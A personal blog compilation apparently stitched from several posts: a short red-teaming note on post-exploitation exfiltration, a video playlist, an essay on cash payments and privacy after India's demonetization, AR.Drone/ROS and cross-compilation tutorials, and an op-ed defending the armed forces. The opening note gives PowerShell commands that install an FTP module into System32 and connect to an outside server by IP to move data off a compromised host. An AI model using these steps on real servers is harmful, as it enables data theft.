Red Teaming : Exfiltration

Becomes difficult at times to ex filtrate data from servers post exploitation. Hope this helps. Will be using

Invoke-WebRequest https://gallery.technet.microsoft.com/scriptcenter/PowerShell-FTP-Client-db6fe0cb/file/41457/27/PSFTP.zip -OutFile PSFTP.zip
Expand-Archive -LiteralPath PSFTP.zip -DestinationPath C:\Windows\System32\WindowsPowerShell\v1.0\Modules

%USERPROFILE%\Documents\WindowsPowerShell\Modules
%WINDIR%\System32\WindowsPowerShell\v1.0\Modules

Set-ExecutionPolicy RemoteSigned

Import-Module PSFTP

Set-FTPConnection -Credentials mgajda -Server ftp://18.216.17.9 -Session MyTestSession -UsePassive

Playlist

I will be adding all videos I find fascinating on this page. The speakers in these motivate me to one day speak publicly like them.

Fighting viruses, defending the net

 

How to get better at the things you care about

 

This is Why You Don’t SUCCEED

 

Cracking STUXNET, a 21st-century cyber weapon

 

 

“DON’T BE TRACKED … PAY CASH”

Share using – #PayCashNoTrack

The ripples that were created by the demonetization announcement by Prime Minister Narendra Modi don’t seem to die down. Why will they? After all, for a long time, there had been no decision taken in this country by any PM which would affect the lives of so many people in one stroke. Everyone is trying to make sense of how this has affected their personal lives. Some seem to be concerned about the impact demonetization has had in the short term in terms of availability of cash while others are happy that finally their honesty paid off. Some are still pondering over the issue. This now becomes perfect breeding ground for our media, which sets the agenda for us. Our opinion seems to be formed by which party we support, channel or host we watch/like, our personal understanding of the subject and what people around us seem to believe.

So, when I finally sat to think about, how this demonetization has affected me and whether I should be happy or sad with what has happened, I realized that in all the noise around the subject, one particular thing which was making me most uncomfortable was not addressed by anyone.

The government seems to be suggesting that it wants our country to move towards 100% digitized transactions. What is most concerning about this argument to me is the fact that once we start making all transactions digitally, the state can easily keep us under constant surveillance. Not only the authorized agencies but people handling the transaction data in banks and payment gateways can also easily track us. Question thus arises that in a country which boasts of freedom, should we be having freedom of not being tracked, if we wish so. Let me bring out certain scenarios where things might go horribly wrong.

Personal Privacy Concerns

If cash was available I could withdraw some cash and go anywhere I want in the country, pay anyone I wanted to, without giving out my location or transaction details (details about what I bought and from where or whom), but what digital payment instantaneously takes away from me is the fact that the banks/payment gateways will know these details as soon as I make a digital payment.

Take an example of a person suffering from some severe ailment and wants to hide it from his family/employers for personal reasons. As of now when he pays cash and buys the medicines or pays the doctor he can be sure that no one else knows about these details. But once they start making digital transactions the details can be seen by the banks/gateways and might get shared with the employers or the family members.

Government neither has any provision to stop people from being tracked nor are the banks legally bound to not share the transaction information with other people/govt agencies/companies etc.

Impact on Traditional India Families

In case of women and children who traditionally used to save money for use during emergencies, digitization makes it impossible to continue this practice any longer. Wife’s transaction details will be known to the husband, children’s transactions will be known to their parents and all transactions will be known to bank employees.

It is already known that with the centralized banking systems, any bank employee can check the transaction details of an individual whose account number or name is known, suppose you know one bank employee personally you can check the whereabouts of any bank account holder of his bank through him.

Potential Cyber Threat

Digitization is being so aggressively ushered in, that every one is having to quickly shift to digital payment systems without addressing the concerns of security related issues in digital world. If the accounts of prominent leaders like Rahul Gandhi, prominent news networks like NDTV can be hacked so easily, what happens if the digital transaction information lands in the hands of malicious users (hackers). In such a scenario, the privacy of the citizens takes a big hit. The hackers can then go on to cyber bullying individuals, collecting ransoms or selling such sensitive personal information to corporations/news agencies/individuals.

Good People Need Privacy Too!

It is sometimes argued that people who don’t do bad things don’t need privacy. But everyone needs some privacy. Anyone who has ever picked up a large bar bill and then driven to a movie and paid to park with a credit/debit card or digital payment gateway could look like he drives after drinking, even if he was the designated driver for a birthday party and himself never drank. Anyone can do something that is subject to misinterpretation.

I think these are some pertinent questions which need to be answered or pondered upon. I request the readers who after reading this piece think that at least in longer run this could be a problem to please share this article and increase awareness among all. To get a sense of how many people actually relate to this thought process and are concerned with such tracking, I request you to use #PayCashNoTrack when sharing this article on facebook, twitter or any other social media site. If you want to voice your concerns over the subject and plan to write about the same, I request you to keep the hashtag the same, i.e #PayCashNoTrack.

AR Drone : Tutorial

AR.Drone Instructions

Note 1: This is a draft article. This is being kept on my blog as a future reference guide. You can go through it and get the joy of flying a quadrotor autonomously in no time. Thanks to Jurgen Strum from TUM university for the wonderful tutorial which makes this possible.

Note 2: These instructions apply to Ubuntu 12.04 and ROS Fuerte. It would be great if somebody could create a second page with instructions for Ubuntu and ROS Hydro.

Installation

We assume that you have Ubuntu 12.04 LTS installed on your computer. If you use normally a different operating system and you don’t have a free partition on your hard drive, you can also install Ubuntu onto a (bootable) USB stick. In this case, you need at least 4 GB of additional storage on the stick.

Furthermore, we need to install ROS (the Robot Operating System) and various ROS packages (ardrone driver, joystick, Python example). In the following, we guide you through all steps required to set up your system accordingly.

Install ROS

This section comprises the core steps of installing ROS Fuerte on Ubuntu 12.04 as described here:

  • First, add the respective keys and repositories:

$ sudo sh -c 'echo "deb http://packages.ros.org/ros/ubuntu precise main" > /etc/apt/sources.list.d/ros-latest.list'

$ wget http://packages.ros.org/ros.key -O - | sudo apt-key add -

$ sudo apt-get update

  • Now install ROS and some useful packages:

$ sudo apt-get install ros-fuerte-desktop-full ros-fuerte-joystick-drivers python-rosinstall python-rosdep liblapack-dev libblas-dev daemontools libudev-dev libiw-dev

  • Create your ROS workspace folder

$ mkdir ~/workshop

  • Add ROS commands and your workspace folder to your .bashrc: Open it in your favorite text-editor (e.g. using gedit ~/.bashrc), and append the following two lines at the end:

$ source /opt/ros/fuerte/setup.bash

$ export ROS_PACKAGE_PATH=$ROS_PACKAGE_PATH:~/workshop

  • Check your installation by opening a new console window and starting

$ roscore

  • Everything is fine when you see the line "started core service [/rosout]". You can then stop roscore by hitting CTRL-C.

Install and compile ROS packages

  • Download the source code into your ROS workspace.

$ cd ~/workshop

$ GIT_SSL_NO_VERIFY=1 git clone https://github.com/AutonomyLab/ardrone_autonomy.git -b fuerte

$ GIT_SSL_NO_VERIFY=1 git clone https://github.com/tum-vision/autonavx_ardrone.git

  • Compile the packages. Note that the compilation process requires internet access and takes around 10-20 minutes.

$ roscd ardrone_autonomy

$ ./build_sdk.sh

$ rosmake ardrone_autonomy ardrone_joystick

Manual Flight

In this section, we set up the AR.Drone, perform a manual flight with a Sony Playstation 3 joystick, and record a bag file (logfile). For this task you need a Parrot AR.Drone, a PS3 joystick and some space to fly around.

  • Connect the AR.Drone battery.
  • Connect to the AR.Drone WLAN.
  • Start the ROS master and the AR.Drone driver (each in a separate terminal window).

$ roscore

$ rosrun ardrone_autonomy ardrone_driver

This command will print out some information on the connection etc. After 70 lines or so, the output should come to a rest. If everything works, the result should look as follows.

If you see error messages (bad packets etc), then your firmware might not be compatible with the AR.Drone driver on your computer. In this case, either try to upgrade to a newer firmware or upgrade the ardrone driver (whatever is newer).

  • Open a new terminal window and see whether you get navdata messages from the quadrotor:

$ rostopic echo /ardrone/navdata

The result should look as follows. This message contains the telemetry data from the quadrotor. In this lecture, we are primarily interested in the readings from the IMU and visual odometry sensor. The current orientation of the AR.drone is given in roll-pitch-yaw angles (rotX, rotY, rotZ). The height is provided in altd. The horizontal speed can be read out from vx and vy. Note that some fields (like altd) only provide values while the quadrotor is actually flying. Press CTRL-C to stop when you are happy.

  • Now start rviz, a 2D and 3D visualization tool for all kinds of sensor messages.

$ rosrun rviz rviz

  • Add an Image display to RVIZ and change the Image Topic to /ardrone/image_raw. You should see the live camera stream from the quadrotor’s frontal camera.
  • Plug in the joystick, and start the joystick driver as follows:

$ rosrun joy joy_node

On some computers, it’s necesary to add the parameter _dev:=/dev/input/jsX, where X is the number of the joystick device. Inspect the topic /joy to verify that the joystick works as follows (open a new terminal window):

$ rostopic echo /joy

Press CTRL-C when you are satisfied. The output should look as follows.

  • Note: You might have to press the P (PlayStation) button in the middle once on the joystick to activate it.
  • The ardrone_joystick node we provided translates the raw joystick messages to the correct control commands sent to the quadrotor. Start it as follows:

$ rosrun ardrone_joystick ardrone_teleop

This node translates the joystick messages (/joy) to velocity command messages that the AR.drone understands (/cmd_vel). To check whether these messages are actually generated, open a new console and run:

$ rostopic echo /cmd_vel

Move the sticks of the joystick. The result should look as follows.

  • The axes and buttons are assigned as follows:
    • The R1 button toggles the emergency state of the robot. Pressing R1 while flying will stop the rotors immediately. If the LED beneath the rotors are red (for example, after a crash), press R1 to reset the quadrotor.
    • The L1 button starts the motors of the quadrotor. It also works as a deadman switch so that the robot will land if you release it during flight. The quadrotor will ascend to one meter above ground and tries to hold this position.
    • The left stick can be used to control the roll and pitch angle of the quadrotor. Keep in mind that these velocities are given in the local frame of the quadrotor!
    • The right stick controls the yaw-rate and the altitude.
    • The select button can be used to switch between the two cameras. This can also be done by executing rosservice call /ardrone/togglecam.
    • The triangle button can be used to switch off the on-board position stabilization: Per default, the quadrotor hovers (i.e. stabilizes its horizontal position by keeping vx and vy at zero) when you do not touch the left control stick. It even actively decelerates when letting go of the left control stick.
    • Pressing and holding the triangle button will switch this off, i.e. give you direct control over roll and pitch at all times – note how this leads to rapid drift in horizontal position.
  • First Flight: You are all set up to fly the quadrotor! Fly a short round through the lab to practice your flying skills. You can try to take a group picture of yourself while flying! Tip: If the quadrotor does not take-off vertically but immediately shoots away, you need to calibrate the IMU. This is done by placing the quadrocopter on a horizontal surface, and calling rosservice call /ardrone/flattrim.

Autonomous Flight

  • We provide several (minimalistic) Python examples in the folder ardrone_python:

$ roscd ardrone_python/src

  • Example 1: Odometry. This script just prints some data from the navdata message sent by the quadrotor. It also works when the robot is not flying – just move the quadrotor by hand and see how the values change. As an exercise, add the code from week 2 (odometry) in the callback to compute the position of the quadrotor in world (global) coordinates. Note that the height sensor does not work when the quadrotor is not flying. Use the joystick to navigate the robot around and inspect the values.

$ ./example1_odometry.py

$ ./example2_takeoff_and_land.py

  • Example 3: Simple trajectory. This script publishes /cmd_vel messages. The quadrotor takes off, flies forward for 2 seconds, turns for 2 seconds, and flies forward for another 2 seconds, and lands again. Note that you have to kill the ardrone_teleop node before you run this script – otherwise, the joystick (which also sends /cmd_vel messages) will override the motion commands from this script.

$ ./example3_trajectory.py

  • Example 4: Everything combined. This script contains both a subscriber for the /ardrone/navdata message as well as a publisher. The script sends a takeoff command and then repeatedly sends the quadrotor forward and backward for 2 seconds. To stop the quadrotor, either start the joystick node (and press and release the L1 button), or catch the quadrotor in the air and turn it by 90 degrees (to trigger the emergency stop).

$ ./example4_combined.py

Building and cross-compile tutorial

Disclaimer: This article has been written by Fabrizio Dini and is still a draft. You may find errors of various nature in the text below. In any case, if you follow the instructions below, you are doing it at your own risk! I am posting it for benefit of all those who have not been initiated in cross compilation procedure. I will be updating this article and also writing a new one for cross compilation for Jetson TX1 (aarch64)


So, I’ve spent a lot of time lately trying to cross-compile a few projects of mine to a couple of different embedded platforms. It’s been a little painful, but in the end I succeeded, so I think it’s an experience that worths sharing…

Also, I lately found that the compilation and linking processes are not fully understood by a large part of “youngsters”, so I’d like to start from the very beginning.

Building a program

Let’s start by addressing the problem of building a program. When talking about small programs, it is actually very simple, sometimes as simple as a single command line with few parameters, but in medium/large projects even the compilation for the host architecture can be tricky, so it is better to make this clear.

Ooops! I just realized that I am using some terms that could be new to you. So let me introduce some terminology.

  • ‘host’ is the machine (or architecture, or platform) that you are using to compile the code;
  • ‘target’ is the machine (or architecture, or platform) that is intended to run the code.

In the ‘usual’ building process, the ‘host’ and ‘target’ platform are the same. For example, you use your PC to compile a code to make it run on the same PC. In cross-compilation, the ‘host’ and ‘target’ platform differs. For example, you may want to use your PC to compile a program that is meant to run on your Raspberry-Pi.

Compiling the code

Ok, let’s start with the usual ‘Hello World!’ example. Here’s the source code:

#include <stdio.h>

int main(int argc, char* argv[])
{
    printf("Hello World!\n");
    return 0;
}

Let’s say that this simple code is saved to the helloworld.c file. You can compile with this very simple line:

gcc -c helloworld.c

This will produce helloworld.o which is an object file. If you didn’t get any error from gcc your code is syntactically correct, but it cannot be executed yet. You need to link the object file to the libraries that contains the runtime and possibly other code you may be invoking in your program.

Linking the code

The ld command in Linux invokes the linker, which is the tool you need. However, to the best of my knowledge very few people use ld explicitly. It is much easier to call gcc and have it call the actual linker, since this will hide much of the complexity to you. For example, to turn your helloword.o object file into an executable binary file you should provide ld with the exact name and path of the standard C runtime for you platform. This can be done with a little effort but it surely much easier to write:

gcc helloworld.o

gcc will understand from the parameter you passed that it need to invoke ld, and will pass all the parameters it needs to link the object code to the C runtime. As a result, you will find a new file in your folder, named a.out. That is your executable program. Now calling:

./a.out

will produce:

Hello World!

Include directories

What happens when the code is slightly more complex than the ‘hello world’ example above? Well, you’ll likely need to add a few arguments to your gcc command. The first thing you will probably need are a few ‘include dirs’. Include directories are the paths to all headers files that are needed by your code due to the #include directives it contains. Please note that these directives are nested and thus you may need to include header files you never heard about just because they are included in some file YOU included. Include dirs are passed to gcc with -I option, like this:

gcc -c -I./include helloworld.c

This command line will tell gcc to look for .h files in the include/ folder. Note that the path is relative, but you can obviously use absolute paths, and more than one path at a time:

gcc -c -I./include -I/usr/local/include helloworld.c

Note that the include paths do not need to actually exists. If they are not found, the compiler won’t complain (usually). Instead, if you miss an include directory that’s actually needed, you will get errors at compile time like this:

helloworld.c:2:22: fatal error: myheader.h: No such file or directory

This line says that the file helloworld.c tried to include myheader.h on line 2, but the compiler was not able to find that header file anywhere. It is important to note at this point that gcc has a list of notable locations it will check for header files in any case, but this location usually contain only header files from system libraries or other libraries you (or your sys-admin) installed system-wise. Your local header files are likely stored in some other (local to your home folder) directories and thus you will need to add their path as an include dir with the -I option to gcc.

Making a library

If you need to pack your code into a library, then you probably need the compiler only. I won’t go deep into details now, since I will probably be back on this topic in another post. However, things go differently depending on what kind of library you want to compile: a static libary, or a shared library.

Static

To build a static library, you need to compile the source code to obtain the object files, and then use the archiver ar to pack everything into a single .a file. Here’s an example:

gcc -c -I./include -I/usr/local/include -o my_library_obj_file.o my_library_source_file.c
ar rcs my_library.a my_library_obj_file.o

Shared

Building a shared library is a little different from building a static one. This time, you can do everything with gcc, without calling the archiver, but will need to specify a few more parameters:

gcc -fPIC -shared -I./include -I/usr/local/include -o my_shared_library.so my_library_source_file.c

Cross-compilation

Cross-compilation is the process that allow you to compile code that is supposed to run on a ‘target’ architecture, and to do that while working on a different (‘host’) architecture. For example, you may want to compile a program for your Raspberry-Pi (the target architecture) on your laptop (the host architecture).

What you need

Basically, to cross-compile a program or library you need two things:

  1. a tool-chain running on your host, targeting your target architecture;
  2. the file system of your target machine (“sysroot” in the following).

The tool-chain can be achieved in many different ways. The easiest is undoubtedly to find a .deb or .rpm package to install the tool-chain on your host system. For example, this is possible when the target architecture is the Raspberry-Pi and the host is your PC (see https://github.com/raspberrypi/tools for details). If a binary package is not available, you may need to compile a custom tool-chain from scratch! In this case, tools like crosstool-ng may help (http://crosstool-ng.org/#introduction)

The sysroot is a mere copy of the file system of your target platform. Actually, you do not need to copy the entire file system on your host: the folders /usr and /lib would suffice.

It is a good idea to keep all these things gathered in a single place. I suggest you create a folder (e.g. x-compile) and store the tool-chain and the sysroot in there. Be tidy, because things can easily become a painful mess!

Satisfy the dependencies

When you start porting a code to a specific target platform, it is likely that the first problem you will face is to satisfy a few (many?) missing dependencies. This problem is easy to solve in principle, but can easily mess things up to a level you wouldn’t imagine.

If the code depends on some library that is NOT in the sysroot, there’s no way out but to find them somewhere, somehow. Dependencies can be satisfied in two ways: with static libraries or with shared libraries. If you are lucky, you could find a binary package providing what you need (i.e. the library files AND the header files), but most often you will have to cross-compile the source code on your own. Either ways, you end up with one or more binary files and a bunch of header files. Where to put them? Well, that depends. There are a few different situations that can happen, but basically everything reduces to two cases:

  1. In the sysroot. If you are satisfying the dependencies with shared libraries (.so files) this is probably the most common solution (and maybe, the best solution). Remember that when everything will be up and running, these libraries must be installed somewhere in the file system of the target platform. So there is a natural answer to the question above: install them in the target sysroot, for example in /usr/lib (the binary shared files) and /usr/include (the header files). Or in any other path that allow the loader to find those libraries when the program executes. AND, install them in the file system of the actual target machine, in the same places, in order to make everything work as expected. Please note that static libraries (‘.a’ files) does not need to be installed in the target file system since their code is embedded in the executable file when you cross-compile a program.
  2. In a different folder. This could be an interesting solution to keep the libraries that you cross-compiled on your own separated from the other libraries (for example, the system libraries). You can do that if you want (I often do that!) but if you do, you must remember to provide to compiler and linker programs with the paths where header files and binary files can be found. With static libraries, this information are only needed at compile and linking time, but if you are using shared libraries, this won’t suffice. You also must specify where these libraries can be found at run time.

How to do that

Ok, enough talking. Now let’s see HOW to actually cross-compile. I will assume that:

  1. You have your tool-chain installed, that it is the correct tool-chain and the PATH environment variable is correctly set, so that the cross-compiler and all other cross-tools binaries can be called from any folder.
  2. You have the sysroot installed in ~/x-compile/sysroot
  3. Your code depends on a library for which you have the source code in ~/x-compile/depsrc/
  4. You have the source code to be cross-compiled in ~/x-compile/src

Given that all above applies to you, cross-compilation requires the following steps.

Cross-compile the dependecies

As said, when you cannot find a binary package for a give library your code depend upon, you have to cross-compile a version of it for your target platform. This can only be done, obviously, if the source code is available for that library, for example if it is open source. In my world, this is often the case. I hope so for yours… 😉

Many open source libraries use auto-tools to compile, which means that for these libraries the compilation requires the following commands (DON’T DO THIS YET):

./configure
make
sudo make install

Since what we are trying to do is cross-compile the library, we will need something different from the usual commands above. Here’s an example:

./configure CC=arm-linux-gnueabihf-gcc --prefix=~/x-compile/deps --host=arm-linux-gnueabihf
make
make install

The meaning of these commands is the following (proceeding in order, from top to bottom):

  1. we call the configure script passing a few parameters. The first tells configure to use the cross-compiler instead of the usual gcc; the second sets the destination folder for compilation products; the third sets the architecture of the host that will be running the binaries.
  2. call make, which is a GNU meta-build tool (I would rather say THE meta-build tool) that uses so-called makefiles to build a project. This actually perform the compilation and linking steps
  3. call make with the install target, which means we are asking make to install the binaries to the folder we previously set with the --prefix option.

Cross-compile your code

To cross-compile your code you obviously need to invoke the cross-compiler coming with the tool-chain you installed. I will refer to the case where the Raspberry-Pi is the target architecture, either because it is a quite common case and because it is the latest experiment I tried :).

The tool-chain compiler is usually a particular version of gcc. Typically, the binary name is prefixed with a string identifying the target architecture. For the Raspberry-Pi architecture, a common tool-chain provides arm-linux-gnueabihf-gcc. For very simple programs, cross-compiling turns out to be as simple as using this cross-compiler instead of the usual gcc:

arm-linux-gnueabihf-gcc -o hello_world hello_world.c

but things get more complex when the code is not trivial. In the case I described in the previous section, the command line would be something like this:

arm-linux-gnueabihf-gcc --sysroot=~/x-compile/sysroot -I./include -I/usr/local/include -L~/x-compile/deps -o hello_world -lmy_shared_library ~/x-compile/deps/my_static_library.a hello_world.c

Quite complex, isn’t it? We have many more parameters and options in this command line, let’s give a closer look.

  1. --sysroot=~/x-compile/sysroot is a very important option, since it tells the cross-compiler to resolve all paths in the -I and -L options with respect to the given path. So, we are basically saying that the ./include and the /usr/local/include folders should be first look for in ~/x-compile/sysroot.
  2. -L~/x-compile/deps adds the path ~/x-compile/deps to the list of paths where static (.a) and shared (.so) libraries are searched at compile and linking time. I am supposing that there exist two libraries: my_static_library.a and libmy_shared_library.so within the ~/x-compile/deps folder
  3. -lmy_shared_library tells the linker we are linking against libmy_shared_library.so (remember what I said above about the -L option…)
  4. ~/x-compile/deps/my_static_library.a simply tells the linker to include the code from this library (the complete path could be omitted thanks to the -L option)

That should build a binary executable file for your target architecture (which is formally armv6l for the Raspberry-Pi). You can verify that by using the command file on the result:

file hello_world

You should see a line of text containing the word amrv6l somewhere. If it is missing, then something went wrong and what you get is not an executable for the Raspberry-Pi.

Install your code to the target architecture and make it run like a champ!

At this point, you probably have already copied the binary file to the Raspberry (or your target machine) and see that it does not work… 🙂 Keep calm, we are almost done. If the program fails by saying it was unable to load (or find) a .so library, it is because we didn’t tell the loader where that library can be found. And if everything was done correctly, the error should refer to our dependency, libmy_shared_library.so. If so, there are a few ways you can fix things:

  1. copy libmy_shared_library.so to a place that the system looks into for other libraries, for example /usr/lib or /usr/local/lib
  2. copy libmy_shared_library.so wherever you like and start the program like this:

    LD_LIBRARY_PATH=/path/to/the/folder/containing/the/library ./hello_world

  3. modify the value of LD_LIBRARY_PATH environment value before calling the program:

    export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/the/folder/containing/the/library ./hello_world

All of this should work. Symbolic links are also ok, so if you prefer you may just create a symlink in /usr/lib poiting to libmy_shared_library.so, wherever it is placed. But the solution I prefer is a little different: I like to set an rpath into the binary file of my program.

An rpath is a path that will be stored within the binary file itself, and that the loader will use to look for libraries when every other path have been checked. To do this, you have to add a few other option to your gcc command line, like this:

arm-linux-gnueabihf-gcc --sysroot=~/x-compile/sysroot -I./include -I/usr/local/include -L~/x-compile/deps -o hello_world -Xlinker -rpath=./ -lmy_shared_library ~/x-compile/deps/my_static_library.a hello_world.c

The -Xlinker -rapth=./ tells the linker to add ./ as an rpath when it creates the binary file. In this way, you can simply put your dependencies in the same folder as the executable binary file. I think it is a very practical solution to distribute an application with its own dependencies without having to install the libraries system-wide.

Nothing can be said about our Writers, they have freedom of speech, so do I.

Going through the editorial of an English daily today (https://goo.gl/ocA24t), I was aghast and astonished that an article which has prompted me to write this, can actually make it to print. I am neither vacuous nor am I confused. I therefore choose to bring out the following:

  1. The author seems to very well know that more that seventy percent people will not go ahead and read the complete article, so he never comes back to the subject after using a sensational title.
  2. His preoccupation with trying to row in “Ulsoor” lake has taken over his rationale. Sirjee, there is no dearth of lakes in India to row. You can be allowed to row in “Ulsoor”, only if the lake is open for “public”, which it cannot be, as otherwise the security personnel will be preoccupied in providing security to those who enter their premises, cleaning the premises once its closed etc (all this because armed forces set a certain benchmark for themselves) and not do what they are supposed to.
  3. You trying to remind your readers that Indian Armed Force used to be a mercenary force is of particular interest to me. Because if you are suggesting that its the mercenary DNA of the forefathers of Indian Armed Forces that people should be afraid of then you should look back the past 70 years and judge by yourself. Don’t they give you enough confidence that they will protect the democratic values at all costs and that they will fight against any enemy they are ordered to on land, air or sea ? And for your information the Armed Forces in India are not dynastic fiefdoms like some other professions in our country.
  4. Your mention of “this respect changed to reverence”, is again as frivolous as your article as a quick recheck of definition of reverence on google brings out that reverence means, “deep respect for someone or something”. You suggest we should respect armed forces but not revere, when basically they mean the same, its just that the degree of respect is higher in reverence. Then you make a sweeping comparison of soldiers with men and women who clean our sewers. Who are you trying to belittle ?soldiers or cleaners? The argument of “more meaningful contribution” can be taken further, how is the contribution of bureaucrats, industrialists, politicians, teachers, businessmen, writers or anybody more than that of a soldier. At best everyone’s contribution is the same. Then they all should treated equally. But then you yourself mention something about a “minor rule that equates bureaucrats with army officers” has been done away with. Question is not what the rule is but is why has it done away with ?
  5. And last but not the least, 36 war planes at a cost of Rs. 59,000 cr is troubling you. This really exposes you trying to play with figures and fool people. According to you, for the past 40 years we have not used planes in a war. I hope you are aware that those planes have been in a state of operational alertness for each and every minute of those past 40 years. Such an awareness is too big a expectation from you, but I am sure you must have read some news articles about pilots dying because they are trying to fly equipment which was bought more than 40 years ago and whose spare parts are not available now. Like your fantasy of rowing in Ulsoor lake, have you never fantasized about flying in a MiG 21 ? Would you like to avail that offer too ? I am sure you have heard of the ostrich approach of burying your head in the sand. Well if you haven’t your argument is a manifestation of the same. There is peace because our enemy knows that it will not be beneficial for them to undertake a misadventure with a country which has its forces trained and ready. It is not because we do not have enemies.

Your article strengthens my belief that work of security forces is taken for granted and that people like you either do not know the ground realities or you choose to ignore them and proliferate a nefarious narrative on someones behest.

BTW, when I tried to find out who you are, why was it that you, amnesty international and
https://goo.gl/HRxicn & https://goo.gl/U6N5My appeared on the same page?